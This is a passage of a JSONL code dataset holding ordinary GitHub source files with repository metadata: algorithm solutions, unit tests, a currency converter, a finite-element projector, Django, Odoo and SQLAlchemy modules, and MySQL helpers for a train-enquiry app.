q.popleft()\n dikt[node] = i\n res.append(node)\n for neigh in graph[node]:\n parents[neigh].add(node)\n parents[neigh] |= parents[node]\n indegree[neigh] -= 1\n if indegree[neigh] == 0:\n q.append(neigh)\n ans = []\n for pre, post in queries:\n if dikt[pre] < dikt[post] and pre in parents[post]:\n ans.append(True)\n else:\n ans.append(False)\n return ans","repo_name":"Segnicho/Competitive-Programming","sub_path":"1462-course-schedule-iv/1462-course-schedule-iv.py","file_name":"1462-course-schedule-iv.py","file_ext":"py","file_size_in_byte":1174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"7653567374","text":"import unittest.mock\n\nfrom click.testing import CliRunner\n\nfrom ..context import zoia\n\nimport zoia.cli\nfrom tests.fixtures.metadata import ZoiaUnitTest\n\n\nclass TestTag(ZoiaUnitTest):\n @unittest.mock.patch('zoia.cli.tag.zoia.backend.config.load_config')\n def test_tag(self, mock_load_config):\n mock_load_config.return_value = self.config\n metadatum = zoia.backend.metadata.Metadatum(\n entry_type='article',\n title='Foo',\n authors=['John Doe'],\n year=2001,\n )\n self.metadata['doe01-foo'] = metadatum.to_dict()\n\n runner = CliRunner()\n result = runner.invoke(\n zoia.cli.zoia, ['tag', 'doe01-foo', 'bar', 'baz']\n )\n\n self.assertEqual(result.exit_code, 0)\n\n metadata = zoia.backend.json.JSONMetadata(config=self.config)\n self.assertEqual(metadata['doe01-foo']['tags'], ['bar', 'baz'])\n","repo_name":"joe-antognini/zoia","sub_path":"tests/cli/test_tag.py","file_name":"test_tag.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"36042191944","text":"def conversor(tipo_pesos, valor_dolar):\n pesos = input (\"Cuantos pesos \" + tipo_pesos + \" tiene?: \")\n pesos = float(pesos)\n dolares = pesos / valor_dolar\n dolares = round(dolares, 2)\n dolares = str(dolares)\n print(\"Tiene $ \" + dolares + \" dolares\")\n\n\n\nmenu = \"\"\"\nBienvenido al conversor de monedas 💸\n1 - Pesos colombianos\n2 - Pesos argentinos\n3 - Pesos mexicanos\n\nElige una opcion \"\"\"\n\n\nopcion = input(menu)\n\nif opcion == '1':\n conversor(\"colombianos\", 3875)\nelif opcion == '2':\n conversor(\"argentinos\", 140)\nelif opcion == '3':\n conversor(\"mexicanos\", 30)\nelse:\n print(\"Ingrese un valor correcto por favor\")\n\n\n\n\n\n\n\n\n\n","repo_name":"luchobarbieri/python","sub_path":"exchange2.py","file_name":"exchange2.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"40711456114","text":"import numpy as np\nfrom numpy.linalg import inv\nfrom fealpy.functionspace import ConformingScalarVESpace2d \nfrom fealpy.functionspace.conforming_vector_ve_space_2d import ConformingVectorVESpace2d\nimport ipdb\nfrom fealpy.quadrature import GaussLobattoQuadrature, GaussLegendreQuadrature\nfrom fealpy.vem.temporary_prepare import coefficient_of_div_VESpace_represented_by_SMSpace ,vector_decomposition, laplace_coefficient \n\nclass ConformingVectorVEML2Projector2d():\n def __init__(self, M, PI1):\n self.M = M #(n_{k+1}, n_{k+1})\n self.PI1 = PI1\n\n\n def assembly_cell_matrix(self, space: ConformingVectorVESpace2d):\n C = self.assembly_cell_right_hand_side(space)\n H = self.assembly_cell_left_hand_side(space)\n g = lambda x: inv(x[0])@x[1]\n return list(map(g, zip(H, C)))\n\n\n def assembly_cell_right_hand_side(self, space: ConformingVectorVESpace2d):\n \"\"\"\n @brief 组装 L2 投影算子的右端矩阵\n\n @retrun C 列表 C[i] 代表第 i 个单元上 L2 投影右端矩阵\n \"\"\"\n p = space.p\n PI1 = self.PI1\n mesh = space.mesh\n M = self.M\n NC = mesh.number_of_cells()\n NV = mesh.number_of_vertices_of_cells()\n cell = mesh.entity('cell')\n node = mesh.entity('node')\n cellarea = mesh.cell_area()\n vmldof = space.vmspace.number_of_local_dofs()\n ldof = space.number_of_local_dofs()\n A, J = vector_decomposition(space, p)\n K = coefficient_of_div_VESpace_represented_by_SMSpace(space, M[:, :p*(p+1)//2, :p*(p+1)//2])\n E = laplace_coefficient(space, p)\n C31 = self.integrator(space) \n\n C = []\n for i in range(NC):\n cedge = np.zeros((NV[i], 2), dtype=np.int_)\n cedge[:, 0] = cell[i]\n cedge[:-1, 1] = cell[i][1:]\n cedge[-1, -1] = cell[i][0] \n qf = GaussLobattoQuadrature(p + 2) # NQ\n bcs, ws = qf.quadpts, qf.weights\n\n qf0 = GaussLobattoQuadrature(p+1)\n phi = space.edge_basis(qf0.quadpts[:, 0], qf.quadpts[:, 0])\n phi = np.tile(phi, (NV[i], 1, 1))\n\n ps = np.einsum('ij, kjm->ikm', bcs, node[cedge]) # (NQ, NV[i], 2)\n index = np.array([i]*NV[i]) \n smphi = space.smspace.basis(ps, index=index, p=p+1)\n v = node[cedge[:, 1]] - node[cedge[:, 0]]\n w = np.array([(0, -1), (1, 0)])\n nm = v@w\n CC1 = np.einsum('ijk, jim, jl, i->kjml', smphi, phi, nm, ws)\n \n idx = np.zeros((NV[i], p+1, 2), dtype=np.int_)\n idx1 = np.arange(0, NV[i]*2*p, 2*p).reshape(-1, 1) + np.arange(0, 2*p+1, 2)\n idx1[-1, -1] = 0\n idx[:, :, 0] = idx1\n idx[:, :, 1] = idx1+1\n CCC1 = np.zeros(((p+2)*(p+3)//2, ldof[i]), dtype=np.float64)\n np.add.at(CCC1, (np.s_[:], idx), CC1)\n C1 = A[i]@CCC1\n\n C2 = A[i]@M[i, :, :p*(p+1)//2]@K[i]\n\n C3 = np.zeros((p*(p+1)//2, ldof[i]), dtype=np.float64)\n C3[:(p-1)*(p-2)//2, 2*p*NV[i]:2*p*NV[i]+(p-1)*(p-2)//2] = cellarea[i] * np.eye(((p-1)*(p-2)//2))\n C3[(p-2)*(p-1)//2:, :] = C31[i]@PI1[i]\n C3 = J@C3\n CC = C1-C2+C3\n C.append(CC) \n return C \n\n def integrator(self, space: ConformingVectorVESpace2d):\n\n \"\"\"\n @brief 计算上面矩阵的第三部分\n \"\"\"\n p = space.p\n mesh = space.mesh\n cell = mesh.entity('cell')\n node = mesh.entity('node')\n NC = mesh.number_of_cells()\n NV = mesh.number_of_vertices_of_cells()\n vmldof = space.vmspace.number_of_local_dofs()\n C31 = np.zeros((NC, 2*p-1,vmldof))\n for i in range(NC):\n cedge = np.zeros((NV[i], 2), dtype=np.int_)\n cedge[:, 0] = cell[i]\n cedge[:-1, 1] = cell[i][1:]\n cedge[-1, -1] = cell[i][0] \n\n qf = GaussLegendreQuadrature(p+2) # NQ\n bcs, ws = qf.quadpts, qf.weights\n ps = np.einsum('ij, kjm->ikm', bcs, node[cedge]) # (NQ, NV[i], 2)\n index = np.array([i]*NV[i]) \n smphi = space.smspace.basis(ps, index=index, p=p-1)[:, :, (p-2)*(p-1)//2:]\n t = np.zeros((ws.shape[0], NV[i], 2))\n\n smphi1 = space.smspace.basis(ps, index=index, p=1)\n t[:, :, 0] = smphi1[:, :, 2]\n t[:, :, 1] = -smphi1[:, :, 1]\n\n vmphi = space.vmspace.basis(ps, index=index, p=p)\n H = np.einsum('ijl,ijk,ijml,i->jkm', t, smphi, vmphi, ws) #(NV[i], , 2*ldof)\n\n v = node[cedge[:, 1]] - node[cedge[:, 0]]\n w = np.array([(0, -1), (1, 0)])\n nm = v@w \n b = node[cedge[:, 0]] - mesh.entity_barycenter()[i]\n \n C31[i] = np.einsum('ijk,il,il->jk', H, nm, b)\n multiIndex = space.smspace.dof.multi_index_matrix(p=p)\n q = np.sum(multiIndex, axis=1)\n q = (q + q.reshape(-1, 1))[(p-2)*(p-1)//2:p*(p+1)//2, :] + 2 + 1\n C31[i] /= np.hstack((q,q)) \n \n return C31\n def assembly_cell_left_hand_side(self, space: ConformingVectorVESpace2d):\n \"\"\"\n @brief 组装 L2 投影算子的左端矩阵\n\n @retrun C 列表 C[i] 代表第 i 个单元上 L2 投影右端矩阵\n \"\"\"\n p = space.p\n M = self.M \n M = M[:, :(p+2)*(p+1)//2, :(p+2)*(p+1)//2]\n vmldof = space.vmspace.number_of_local_dofs()\n NC = space.mesh.number_of_cells()\n\n H = np.zeros((NC, vmldof, vmldof)) \n for i in range(NC):\n H[i, :vmldof//2, :vmldof//2] = M[i]\n H[i, -vmldof//2:, -vmldof//2:] = M[i]\n return H\n\n\n","repo_name":"weihuayi/fealpy","sub_path":"fealpy/vem/conforming_vector_vem_l2_projector.py","file_name":"conforming_vector_vem_l2_projector.py","file_ext":"py","file_size_in_byte":5696,"program_lang":"python","lang":"en","doc_type":"code","stars":209,"dataset":"github-code","pt":"37"} +{"seq_id":"18259107660","text":"from ...core import Conversions\n\nclass Siahealth:\n def __init__(self, plugin, config):\n\n self.__plugin = plugin\n self.__minimum_available_balance = config.get(10, 'minimum_available_balance')\n\n self.__proof_deadlines = []\n\n def update_proof_deadlines(self, contracts):\n self.__proof_deadlines = sorted(x.end for x in contracts.contracts)\n\n def check(self, consensus, host, wallet):\n if not consensus.synced:\n self.__plugin.alert('unsync', f'Sia node is not synced, height {consensus.height}')\n else:\n self.__plugin.reset_alert('unsync', 'Sia node is synced again.')\n\n if wallet.unlocked:\n self.__plugin.reset_alert('locked', 'Wallet is unlocked again.')\n else:\n self.__plugin.alert('locked', 'Wallet is locked.')\n\n if wallet.balance < self.__minimum_available_balance:\n self.__plugin.alert('balance', f'Available balance is low: {wallet.balance:.0f} SC')\n else:\n self.__plugin.reset_alert('balance', 'Available balance is above treshold again.')\n\n if not host.statusok:\n self.__plugin.alert('connection', 'Host seems to have connection issues.')\n else:\n self.__plugin.reset_alert('connection', 'Host connection issues resolved.')\n\n block_diff = None\n for deadline in self.__proof_deadlines:\n if deadline < consensus.height:\n continue\n block_diff = deadline - consensus.height\n break\n if block_diff is not None:\n self.__plugin.msg.debug(f'Blocks until next proof: {block_diff} (~{Conversions.siablocks_to_duration(block_diff)} h)')\n\n def summary(self, consensus, host, wallet):\n self.__plugin.msg.info(f'{\"S\" if consensus.synced else \"Not s\"}ynced@{consensus.height}')\n if not host.accepting:\n self.__plugin.msg.info('Host does not accept contracts.')\n if not wallet.unlocked:\n self.__plugin.msg.info('Wallet is locked.')\n","repo_name":"danielringch/xiamon","sub_path":"xiamon/src/plugins/siahost/siahealth.py","file_name":"siahealth.py","file_ext":"py","file_size_in_byte":2028,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"29347085753","text":"from sqlalchemy import (\n ForeignKey,\n Table,\n MetaData,\n Column,\n Integer,\n String,\n Float,\n)\nfrom domain.entities import Product, Category\nfrom sqlalchemy.orm import mapper\nfrom sqlalchemy.dialects.postgresql import JSONB\n\n\nmetadata = MetaData()\n\n\nproducts = Table(\n \"products\",\n metadata,\n Column(\"id\", Integer, primary_key=True, autoincrement=True),\n Column(\"name\", String(64)),\n Column(\"price\", JSONB),\n Column(\"stock\", Integer),\n Column(\"description\", String(256)),\n Column(\"category\", ForeignKey(\"categories.id\")),\n)\n\n\ncategories = Table(\n \"categories\",\n metadata,\n Column(\"id\", Integer, primary_key=True, autoincrement=True),\n Column(\"name\", String(64)),\n Column(\"parent\", ForeignKey(\"categories.id\")),\n Column(\"level\", Integer),\n)\n\n\ndef begin_mapping():\n mapper(Product, products)\n mapper(Category, categories)","repo_name":"Magda-Rubaj/ShopBuilder","sub_path":"src/services/catalog/infrastructure/mappers.py","file_name":"mappers.py","file_ext":"py","file_size_in_byte":888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9968177960","text":"class Numb1:\n def countUpperAndLowerCase(self,sentence):\n upper = 0\n lower = 0\n for i in sentence:\n if (i>='A'and i<='Z'):\n upper += 1\n elif (i>='a'and i<='z'):\n lower += 1\n print(\"Upper case: \" + str(upper))\n print(\"Lower case: \" + str(lower))\n\na1=Numb1()\n\na1.countUpperAndLowerCase(\"Hello Sachin\")","repo_name":"SACHINKV14/MCS_00_Sachin_Core_Python","sub_path":"practice 04 Dec/oops task/oops_fuctions/_14_num_upper_lower_in_string.py","file_name":"_14_num_upper_lower_in_string.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37315035289","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('time_series', views.timeSeries, name='time_series'),\n path('rb_aqr_macro', views.rb_aqr_macro, name='rb_aqr_macro'),\n path('dashboard', views.dashboard, name='dashboard'),\n path('drawdown', views.drawdown, name='drawdown'),\n path('rb_vm_system', views.rb_vm_system, name='rb_vm_system'),\n path('vol_regime', views.vol_regime, name='vol_regime'),\n path('amzn', views.amzn, name='amzn'),\n]\n\n\n# path ; what function inside the views ; naming the path for later reference","repo_name":"rbdev40/tools","sub_path":"reports/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6265269215","text":"from unittest import mock\n\nfrom django.apps import apps\nfrom django.test import TestCase\nfrom django.test.utils import modify_settings\nfrom django.urls import path\nfrom django.views.generic import View\n\n\n@modify_settings(\n INSTALLED_APPS={\n \"append\": \"tests._site.apps.myapp.apps.TestConfig\",\n }\n)\nclass OscarConfigTestCase(TestCase):\n def setUp(self):\n self.myapp = apps.get_app_config(\"myapp\")\n\n def test_get_permissions_required_uses_map(self):\n perms = self.myapp.get_permissions(\"index\")\n self.assertEqual(perms, \"is_staff\")\n\n def test_permissions_required_falls_back_to_default(self):\n perms = self.myapp.get_permissions(\"notinmap\")\n self.assertEqual(perms, \"is_superuser\")\n\n @mock.patch(\"oscar.views.decorators.permissions_required\")\n def test_get_url_decorator_fetches_correct_perms(self, mock_permissions_required):\n pattern = path(\"\", View.as_view(), name=\"index\")\n self.myapp.get_url_decorator(pattern)\n mock_permissions_required.assert_called_once_with(\"is_staff\", login_url=None)\n\n def test_post_process_urls_adds_decorator(self):\n def fake_callback():\n pass\n\n fake_decorator = mock.Mock()\n fake_decorator.return_value = fake_callback\n\n self.myapp.get_url_decorator = mock.Mock()\n self.myapp.get_url_decorator.return_value = fake_decorator\n\n pattern = path(\"\", View.as_view(), name=\"index\")\n processed_patterns = self.myapp.post_process_urls([pattern])\n\n self.myapp.get_url_decorator.assert_called_once_with(pattern)\n self.assertEqual(processed_patterns[0].callback, fake_callback)\n","repo_name":"django-oscar/django-oscar","sub_path":"tests/unit/core/test_application.py","file_name":"test_application.py","file_ext":"py","file_size_in_byte":1656,"program_lang":"python","lang":"en","doc_type":"code","stars":5941,"dataset":"github-code","pt":"37"} +{"seq_id":"20437582475","text":"import json\nfrom datetime import datetime\nfrom odoo.exceptions import MissingError\nMAXINT32=2**31-1\n\nclass TableDict(dict):\n\n def add(self, k, v, lump):\n self[k] = t = Table(k, v, lump.env, lump.xids)\n return t\n\n\nclass Field:\n def __init__(self, table, name, attrs):\n self.table = table\n self.name = name\n self.type = attrs['type']\n self.relation = attrs['relation'] if 'relation' in attrs else None\n self.required = attrs['required']\n\n def is_xid(self):\n if self.name == 'id':\n return True\n if self.type in [\"many2one\"]:\n return True\n return False\n\n def from_json(self, val):\n if not val:\n return val\n if self.name == 'id':\n return self.table.xids[val][1]\n if self.type in [\"datetime\", \"date\"]:\n return datetime.fromtimestamp(val)\n if self.type in [\"many2one\"]:\n return self.table.xids[val][1] or MAXINT32\n if self.type in [\"reference\"]:\n model, id = self.table.xids[val]\n return \"{},{}\".format(model, id or 0)\n return val\n\n\nclass Table:\n def __init__(self, k, v, env, xids):\n self.name = k\n self.recs = env[k]\n self.fieldlist = v['fields']\n self.rows = v['rows']\n self.reorder_id()\n self.fields = []\n self.xids = xids\n attrs = self.recs.fields_get()\n for f in self.fieldlist:\n self.fields.append(Field(self, f, attrs[f]))\n\n def reorder_id(self):\n idx = self.fieldlist.index('id')\n self.fieldlist.insert(0,self.fieldlist.pop(idx))\n for r in self.rows:\n r.insert(0,r.pop(idx))\n\n def collect_xids(self):\n indexes = list(map(lambda f,i: i if f.is_xid() else None, self.fields, range(0,len(self.fields))))\n xids = {}\n for row in self.rows:\n for i in filter(lambda i: i is not None and row[i], indexes):\n xids[row[i]] = (self.fields[i].relation or self.name, None)\n return xids\n\n def enable_trigger(selt, cr, table, enable):\n ALTER_QUERY = \"ALTER TABLE {table} {action} TRIGGER ALL\"\n query = ALTER_QUERY.format(table=table, action=\"ENABLE\" if enable else \"DISABLE\")\n cr.execute(query)\n\n # def query_insert(self, num):\n # cols = [ f.name for f in self.fields if f.required ]\n # if cols:\n # row = [ 0 for _ in cols ]\n # rows = [row for _ in range(0, num)]\n # params = [tuple(row[i] for i in range(0, len(cols))) for row in rows]\n # else:\n # params = []\n #\n # table = self.recs._table\n # cr = self.recs.env.cr\n # if cols:\n # query = \"INSERT INTO {table} ({cols}) VALUES {rows} RETURNING id\".format(\n # table=table,\n # cols=\",\".join(cols),\n # rows=\",\".join(\"%s\" for _ in range(0, num)),\n # )\n # else:\n # query = \"INSERT INTO {table} VALUES {rows} RETURNING id\".format(\n # table=table,\n # rows=\",\".join(\"(DEFAULT)\" for _ in range(0, num)),\n # )\n # self.enable_trigger(cr, table, False)\n # cr.execute(query, params)\n # rows = cr.fetchall()\n # self.enable_trigger(cr, table, True)\n # return [row[0] for row in rows]\n\n # def create_missing(self, xids):\n # ids = self.query_insert(len(xids))\n # recs = self.recs.browse(ids)\n # imd_data_list = map(lambda x, r: {'xml_id': x, 'record': r}, xids, recs)\n # self.recs.env['ir.model.data']._update_xmlids(imd_data_list)\n # return\n\n def insert_recs(self, xids):\n field_list = [f.name for f in self.fields[1:]]\n table = self.recs._table\n rows = []\n imd_xids = []\n for row in self.rows:\n if row[0] in xids:\n imd_xids.append(row[0])\n rows.append(\n tuple(self.fields[i].from_json(row[i]) for i in range(1, len(self.fields)))\n )\n query = \"INSERT INTO {table} ({cols}) VALUES {rows} RETURNING id\".format(\n table=table, cols=\",\".join(field_list), rows = \",\".join(\"%s\" for _ in range(0, len(rows))),\n )\n cr = self.recs.env.cr\n self.enable_trigger(cr, table, False)\n # z1 = cr.mogrify(query, rows)\n cr.execute(query, rows,)\n rows = cr.fetchall()\n self.enable_trigger(cr, table, True)\n imd_ids = [row[0] for row in rows]\n imd_data_list = map(lambda x, id: {'xml_id': x, 'record': self.recs.browse(id)}, imd_xids, imd_ids)\n self.recs.env['ir.model.data']._update_xmlids(imd_data_list)\n\n def update_recs(self):\n field_list = [f.name for f in self.fields[1:]]\n query = 'UPDATE \"{}\" SET {} WHERE id IN %s'.format(\n self.recs._table, ','.join('\"{}\"=%s'.format(name) for name in field_list),\n )\n ids = []\n cr = self.recs.env.cr\n for row in self.rows:\n row = [self.fields[i].from_json(row[i]) for i in range(0, len(self.fields))]\n cr.execute(query, row[1:] + [tuple(row[0:1])])\n if cr.rowcount != 1: # len(self.rows)\n raise MissingError(\n 'One of the records you are trying to modify has already been deleted (Document type: %s).' % self.recs._description)\n ids.append(row[0])\n self.recs.invalidate_cache(ids=ids)\n return\n\n\nclass ImportLump:\n def __init__(self, fp, env):\n self.tables = TableDict()\n self.xids = {}\n self.env = env\n\n # with open(filename) as fp:\n data = json.load(fp)\n for k, v in data.items():\n t = self.tables.add(k, v, self)\n self.xids.update(t.collect_xids())\n\n self.lookup_ids(env)\n self.insert_recs()\n self.lookup_ids(env)\n for t in self.tables.values():\n t.update_recs()\n pass\n\n def lookup_ids(self,env):\n xids_by_model = {}\n for xid, (model, res_id) in self.xids.items():\n xids_by_model.setdefault(model,[]).append(xid)\n imd = env['ir.model.data']\n for model, xids in xids_by_model.items():\n model = env[model]\n for row in imd._lookup_xmlids(xids, model):\n d_id, d_module, d_name, d_model, d_res_id, d_noupdate, r_id = row\n if r_id:\n xml_id = '%s.%s' % (d_module, d_name)\n self.xids[xml_id] = (d_model, r_id)\n else:\n imd.browse(d_id).unlink()\n pass\n\n # query = \"select format('%%s.%%s', module, name) as xid, model, res_id from ir_model_data where (module,name) in %s;\"\n # env.cr.execute(query, (tuple(tuple(x.split('.', 1)) for x in self.xids),))\n # for xid in env.cr.fetchall():\n # self.xids[xid[0]] = xid[1:3]\n\n def insert_recs(self):\n to_insert = {}\n for xid, (model, res_id) in self.xids.items():\n if not res_id:\n to_insert.setdefault(model,[]).append(xid)\n\n for t,xid in to_insert.items():\n self.tables[t].insert_recs(xid)\n\n","repo_name":"mustafirus/odoo_my_modules","sub_path":"omixtory/migrator/importlump.py","file_name":"importlump.py","file_ext":"py","file_size_in_byte":7196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17728015487","text":"\"\"\"\n mysql tools\n\"\"\"\nimport MySQLdb\nimport json\nimport csv\nimport os\n\ndb_details = json.load(open('./mysql_details.json'))\n# db = MySQLdb.connect(host=db_details['host'],user = db_details['user'], port=db_details['port'],passwd=db_details['passwd'],db=db_details['db'])\nweekdays = ['MON', 'TUE', 'WED', 'THU', 'FRI', 'SAT', 'SUN']\nlog = open('db_tools.log','w')\ndb = None\n\n# These environment variables are configured in app.yaml.\nCLOUDSQL_CONNECTION_NAME = os.environ.get('CLOUDSQL_CONNECTION_NAME')\nCLOUDSQL_USER = os.environ.get('CLOUDSQL_USER')\nCLOUDSQL_PASSWORD = os.environ.get('CLOUDSQL_PASSWORD')\nCLOUDSQL_DB = os.environ.get('CLOUDSQL_DB')\ndef connect_to_cloudsql():\n # When deployed to App Engine, the `SERVER_SOFTWARE` environment variable\n # will be set to 'Google App Engine/version'.\n if os.getenv('SERVER_SOFTWARE', '').startswith('Google App Engine/'):\n # Connect using the unix socket located at\n # /cloudsql/cloudsql-connection-name.\n cloudsql_unix_socket = os.path.join('/cloudsql', CLOUDSQL_CONNECTION_NAME)\n\n db = MySQLdb.connect(unix_socket=cloudsql_unix_socket, user=CLOUDSQL_USER, passwd=CLOUDSQL_PASSWORD, db=CLOUDSQL_DB)\n\n # If the unix socket is unavailable, then try to connect using TCP. This\n # will work if you're running a local MySQL server or using the Cloud SQL\n # proxy, for example:\n #\n # $ cloud_sql_proxy -instances=your-connection-name=tcp:3306\n #\n else:\n db = MySQLdb.connect(host='127.0.0.1', user=CLOUDSQL_USER, passwd=CLOUDSQL_PASSWORD,db=CLOUDSQL_DB)\n\n return db\n\ndef connect_local():\n return MySQLdb.connect(host=db_details['host'],user = db_details['user'], port=db_details['port'],passwd=db_details['passwd'],db=db_details['db'])\n\ninter_stns_query = \"\"\" select stations.stn_code, stations.trains_cnt from hops inner join stations on hops.stn_code = stations.stn_code where train_no = %s and hop_index > 0+%s and hop_index < 0+%s \"\"\"\ndef inter_stns(src, dst, weekday):\n if type(weekday) is type(0):\n if weekday<7 and weekday >=0 :\n weekday = weekdays[weekday]\n else:\n print('invalid weekday') # pylint: disable=E1601\n return None,None\n elif type(weekday) == type('MON'):\n if weekday not in weekdays:\n print('invalid weekday!') # pylint: disable=E1601\n return None,None\n\n trains = trains_btw_with_times(src, dst, weekday)\n print(trains)# pylint: disable=E1601\n if trains is None:\n print('No trains btw',src,dst)# pylint: disable=E1601\n return None,None\n stns_list = dict()\n ptr = db.cursor()\n for tpl in trains:\n # print((tpl[0],int(tpl[1]),int(tpl[2])))\n ptr.execute(inter_stns_query,(tpl[0],tpl[1],tpl[2]))\n for row in ptr:\n stns_list[row[0]]=int(row[1])\n # print(stns_list)\n stns_list_sorted = sorted(list(stns_list.items()), key = lambda x: x[1], reverse=True)\n # print(stns_list_sorted)\n return stns_list_sorted,trains\n\n# trains_btw_query ={\n# 'MON':\"\"\" select trains.train_no,src.hop_index,dst.hop_index from (hops as src inner join hops as dst on src.train_no = dst.train_no inner join trains on src.train_no = trains.train_no) where src.hop_index < dst.hop_index and src.stn_code = %s and dst.stn_code = %s and trains.MON = 1 \"\"\",\n# 'TUE':\"\"\" select trains.train_no,src.hop_index,dst.hop_index from (hops as src inner join hops as dst on src.train_no = dst.train_no inner join trains on src.train_no = trains.train_no) where src.hop_index < dst.hop_index and src.stn_code = %s and dst.stn_code = %s and trains.TUE = 1 \"\"\",\n# 'WED':\"\"\" select trains.train_no,src.hop_index,dst.hop_index from (hops as src inner join hops as dst on src.train_no = dst.train_no inner join trains on src.train_no = trains.train_no) where src.hop_index < dst.hop_index and src.stn_code = %s and dst.stn_code = %s and trains.WED = 1 \"\"\",\n# 'THU':\"\"\" select trains.train_no,src.hop_index,dst.hop_index from (hops as src inner join hops as dst on src.train_no = dst.train_no inner join trains on src.train_no = trains.train_no) where src.hop_index < dst.hop_index and src.stn_code = %s and dst.stn_code = %s and trains.THU = 1 \"\"\",\n# 'FRI':\"\"\" select trains.train_no,src.hop_index,dst.hop_index from (hops as src inner join hops as dst on src.train_no = dst.train_no inner join trains on src.train_no = trains.train_no) where src.hop_index < dst.hop_index and src.stn_code = %s and dst.stn_code = %s and trains.FRI = 1 \"\"\",\n# 'SAT':\"\"\" select trains.train_no,src.hop_index,dst.hop_index from (hops as src inner join hops as dst on src.train_no = dst.train_no inner join trains on src.train_no = trains.train_no) where src.hop_index < dst.hop_index and src.stn_code = %s and dst.stn_code = %s and trains.SAT = 1 \"\"\",\n# 'SUN':\"\"\" select trains.train_no,src.hop_index,dst.hop_index from (hops as src inner join hops as dst on src.train_no = dst.train_no inner join trains on src.train_no = trains.train_no) where src.hop_index < dst.hop_index and src.stn_code = %s and dst.stn_code = %s and trains.SUN = 1 \"\"\",\n# }\n# def trains_btw(src, dst, weekday):\n# ptr = db.cursor()\n# if weekday not in trains_btw_query:\n# print('invalid weekday')# pylint: disable=E1601\n# return None\n# ptr.execute(trains_btw_query[weekday],(src,dst))\n# return ptr.fetchall()\n\ntrains_btw_with_times_qry = \"select trains.train_no,src.hop_index,dst.hop_index, src.arr_time, src.dept_time, dst.arr_time, dst.dept_time, src.day, dst.day from (hops as src inner join hops as dst on src.train_no = dst.train_no inner join trains on src.train_no = trains.train_no) where src.hop_index < dst.hop_index and src.stn_code = %s and dst.stn_code = %s and trains.%w = 1 and src.day = %s\"\ndef trains_btw_with_times(src, dst, weekday):\n log.write('trains_btw_with_times '+src+' '+dst+' '+str(weekday)+'\\n')\n week_day_no = 0\n if type(weekday) is type(0):\n if weekday<7 and weekday >=0 :\n # weekday = weekdays[weekday]\n week_day_no = weekday\n else:\n print('invalid weekday')# pylint: disable=E1601\n return None\n elif type(weekday) == type('MON'):\n try:\n week_day_no = weekdays.index(weekday)\n except ValueError as err:\n print('invalid weekday',err,weekday,week_day_no)# pylint: disable=E1601\n return None\n ptr = db.cursor()\n result = list()\n for i in range(5):\n qry = trains_btw_with_times_qry.replace('%w',weekdays[(week_day_no-i+7)%7])\n ptr.execute(qry,(src,dst,str((i+1)%7)))\n trains_list = list(ptr.fetchall())\n result += trains_list\n log.write(qry+' '+src+' '+dst+' '+str((i+1)%7)+'\\nrows returned = '+str(len(trains_list))+'\\n')\n return result\ninsert_station_query = \"\"\" INSERT INTO `train_enquiry_plus_plus`.`stations` (`stn_code`, `stn_name`) VALUES (%s, %s); \"\"\"\ninsert_train_query = \"\"\"INSERT INTO `train_enquiry_plus_plus`.`trains` (`train_no`, `train_name`, `src_stn_code`, `dest_stn_code`, `MON`, `TUE`, `WED`, `THU`, `FRI`, `SAT`, `SUN`) VALUES (%s, %s, %s, %s, %s,%s,%s,%s,%s,%s,%s)\"\"\"\ninsert_hop_query = \"\"\"INSERT INTO `train_enquiry_plus_plus`.`hops` (`train_no`, `stn_code`, `arr_time`, `dept_time`, `hop_index`, `day`) VALUES (%s, %s, %s, %s, %s, %s);\"\"\"\ndef insert_into_db_from_csv(qry,csv_path):\n table = list()\n for row in csv.reader(open(csv_path)):\n if len(table) >0 and row[0] == table[-1][0] and row[1] == table[-1][1]:\n print(row[0],row[1],'ignored')# pylint: disable=E1601\n continue\n table.append(tuple(row))\n ptr = db.cursor()\n ptr.executemany(qry, table)\n db.commit()\n print(\"rows inserted:\",len(table))# pylint: disable=E1601\n\ndef insert_stations_into_db(stations_list):\n for station in stations_list:\n ptr = db.cursor()\n try:\n ptr.execute(insert_station_query,(str(station),''))\n db.commit()\n except Exception as info:\n print(info)# pylint: disable=E1601\n\ndef get_stations_from_hops_csv(hops_csv_path):\n stations = set()\n for row in csv.reader(open(hops_csv_path)):\n stations.add(str(row[1]).strip())\n return list(stations)\n\nstation_with_trains_cnt_qry = 'SELECT stn_code,count(*) FROM train_enquiry_plus_plus.hops group by stn_code'\ntrains_cnt_update_qry ='UPDATE `train_enquiry_plus_plus`.`stations` SET `trains_cnt`=%s WHERE `stn_code`=%s'\ndef update_trains_cnt():\n ptr = db.cursor()\n ptr.execute(station_with_trains_cnt_qry)\n results = ptr.fetchall()\n for row in results:\n ptr.execute(trains_cnt_update_qry,(row[1],row[0]))\n db.commit()\n print(len(results),'rows updated')# pylint: disable=E1601\n\n# update_trains_cnt()","repo_name":"vggajam/train_enquiry_plus_plus","sub_path":"db_tools.py","file_name":"db_tools.py","file_ext":"py","file_size_in_byte":8873,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33252430502","text":"#!/home/lmanrique/anaconda3/bin/python3\nimport os\nimport sys\nimport re\nimport time\nfrom astropy.io import fits\n\ndef validate():\n\tif (len(sys.argv) == 1 or not os.path.isdir(sys.argv[1])):\n\t\treturn False\n\treturn True\n\ndef createList(path):\n\tlistDir = os.listdir(path)\n\tresp = []\n\tregex = 